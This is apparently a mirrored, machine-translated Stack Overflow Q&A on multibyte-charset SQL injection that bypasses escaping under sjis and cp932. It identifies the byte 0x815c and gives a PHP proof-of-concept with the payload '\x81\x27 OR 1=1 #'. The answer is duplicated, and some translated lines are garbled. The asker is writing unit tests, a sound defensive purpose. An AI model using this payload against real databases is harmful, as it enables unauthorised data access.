如何使用Shift-JIS和CP932创建SQL注入攻击?

时间:2023-01-06 11:53:16

I'm writing some unit tests to ensure my code isn't vulnerable to SQL injection under various charsets.

我正在编写一些单元测试,以确保我的代码不会受到各种字符集下SQL注入的影响。

According to this answer, you can create a vulnerability by injecting \xbf\x27 using one of the following charsets: big5, cp932, gb2312, gbk and sjis

根据这个答案,您可以通过使用以下字符集之一注入\xbf\x27来创建一个漏洞:big5、cp932、gb2312、gbk和sjis

This is because if your escaper is not configured correctly, it will see the 0x27 and try to escape it such that it becomes \xbf\x5c\x27. However, \xbf\x5c is actually one character in these charsets, thus the quote (0x27) is left unescaped.

这是因为如果您的逃避器没有正确地配置,它将看到0x27并试图逃离它,从而使它变成\xbf\ x27。然而,\xbf\x5c实际上是这些字符集中的一个字符,因此引号(0x27)没有被转义。

As I've discovered through testing, however, this is not entirely true. It works for big5, gb2312 and gbk but neither 0xbf27 or 0xbf5c are valid characters in sjis and cp932.

然而,我通过测试发现,这并不是完全正确的。它适用于big5、gb2312和gbk,但是在sjis和cp932中0xbf27或0xbf5c都不是有效字符。

Both

这两个

mb_strpos("abc\xbf\x27def","'",0,'sjis')

and

mb_strpos("abc\xbf\x27def","'",0,'cp932')

Return 4. i.e., PHP does not see \xbf\x27 as a single character. This returns false for big5, gb2312 and gbk.

返回4。即。, PHP不会将\xbf\x27视为单个字符。这对于big5、gb2312和gbk返回false。

Also, this:

另外,这个:

mb_strlen("\xbf\x5c",'sjis')

Returns 2 (it returns 1 for gbk).

返回2(它为gbk返回1)。

So, the question is: is there another character sequence that make sjis and cp932 vulnerable to SQL injection, or are they actually not vulnerable at all? or is PHP lying, I'm completely mistaken, and MySQL will interpret this totally differently?

因此,问题是:还有其他字符序列使sjis和cp932容易受到SQL注入的攻击吗?或者它们实际上根本不容易受到攻击吗?或者PHP是在撒谎,我完全搞错了,MySQL会完全不同的解释吗?

1 个解决方案

#1


20  

The devil is in the details ... let's start with how answer in question describes the list of vulnerable character sets:

细节决定成败……让我们从问题中的答案如何描述脆弱字符集列表开始:

For this attack to work, we need the encoding that the server's expecting on the connection both to encode ' as in ASCII i.e. 0x27 and to have some character whose final byte is an ASCII \ i.e. 0x5c. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default: big5, cp932, gb2312, gbk and sjis. We'll select gbk here.

为了使这次攻击有效,我们需要服务器在连接上期望的编码,既要编码为ASCII(即0x27),又要有某个字符的最终字节为ASCII \即0x5c。MySQL 5.6默认支持5个这样的编码:big5、cp932、gb2312、gbk和sjis。我们将选择gbk这里。

This gives us some context - 0xbf5c is used as an example for gbk, not as the universal character to use for all of the 5 character sets.
It just so happens that the same byte sequence is also a valid character under big5 and gb2312.

这给了我们一些上下文—0xbf5c被用作gbk的示例,而不是作为所有5个字符集的通用字符。恰好相同的字节序列在big5和gb2312下也是一个有效字符。

At this point, your question becomes as easy as this:

此时,你的问题变得如此简单:

Which byte sequence is a valid character under cp932 and sjis and ends in 0x5c?

在cp932和sjis下,哪个字节序列是有效字符,以0x5c结束?

To be fair, most of the google searches I tried for these character sets don't give any useful results. But I did find this CP932.TXT file, in which if you search for '5c ' (with the space there), you'll jump to this line:

公平地说,我为这些字符集尝试的大多数谷歌搜索都没有提供任何有用的结果。但是我找到了CP932。TXT文件,如果你搜索“5c”(有空格),你会跳转到这一行:

0x815C 0x2015 #HORIZONTAL BAR

0 x815c 0 x2015 #单杠

And we have a winner! :)

我们有一个赢家!:)

Some Oracle document confirms that 0x815c is the same character for both cp932 and sjis and PHP recognizes it too:

一些Oracle文档确认,对于cp932和sjis, 0x815c都是相同的字符,PHP也能识别:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Here's a PoC script for the attack:

以下是这次攻击的PoC脚本:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}

#1


20  

The devil is in the details ... let's start with how answer in question describes the list of vulnerable character sets:

细节决定成败……让我们从问题中的答案如何描述脆弱字符集列表开始:

For this attack to work, we need the encoding that the server's expecting on the connection both to encode ' as in ASCII i.e. 0x27 and to have some character whose final byte is an ASCII \ i.e. 0x5c. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default: big5, cp932, gb2312, gbk and sjis. We'll select gbk here.

为了使这次攻击有效,我们需要服务器在连接上期望的编码,既要编码为ASCII(即0x27),又要有某个字符的最终字节为ASCII \即0x5c。MySQL 5.6默认支持5个这样的编码:big5、cp932、gb2312、gbk和sjis。我们将选择gbk这里。

This gives us some context - 0xbf5c is used as an example for gbk, not as the universal character to use for all of the 5 character sets.
It just so happens that the same byte sequence is also a valid character under big5 and gb2312.

这给了我们一些上下文—0xbf5c被用作gbk的示例,而不是作为所有5个字符集的通用字符。恰好相同的字节序列在big5和gb2312下也是一个有效字符。

At this point, your question becomes as easy as this:

此时,你的问题变得如此简单:

Which byte sequence is a valid character under cp932 and sjis and ends in 0x5c?

在cp932和sjis下,哪个字节序列是有效字符,以0x5c结束?

To be fair, most of the google searches I tried for these character sets don't give any useful results. But I did find this CP932.TXT file, in which if you search for '5c ' (with the space there), you'll jump to this line:

公平地说,我为这些字符集尝试的大多数谷歌搜索都没有提供任何有用的结果。但是我找到了CP932。TXT文件,如果你搜索“5c”(有空格),你会跳转到这一行:

0x815C 0x2015 #HORIZONTAL BAR

0 x815c 0 x2015 #单杠

And we have a winner! :)

我们有一个赢家!:)

Some Oracle document confirms that 0x815c is the same character for both cp932 and sjis and PHP recognizes it too:

一些Oracle文档确认,对于cp932和sjis, 0x815c都是相同的字符,PHP也能识别:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Here's a PoC script for the attack:

以下是这次攻击的PoC脚本:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}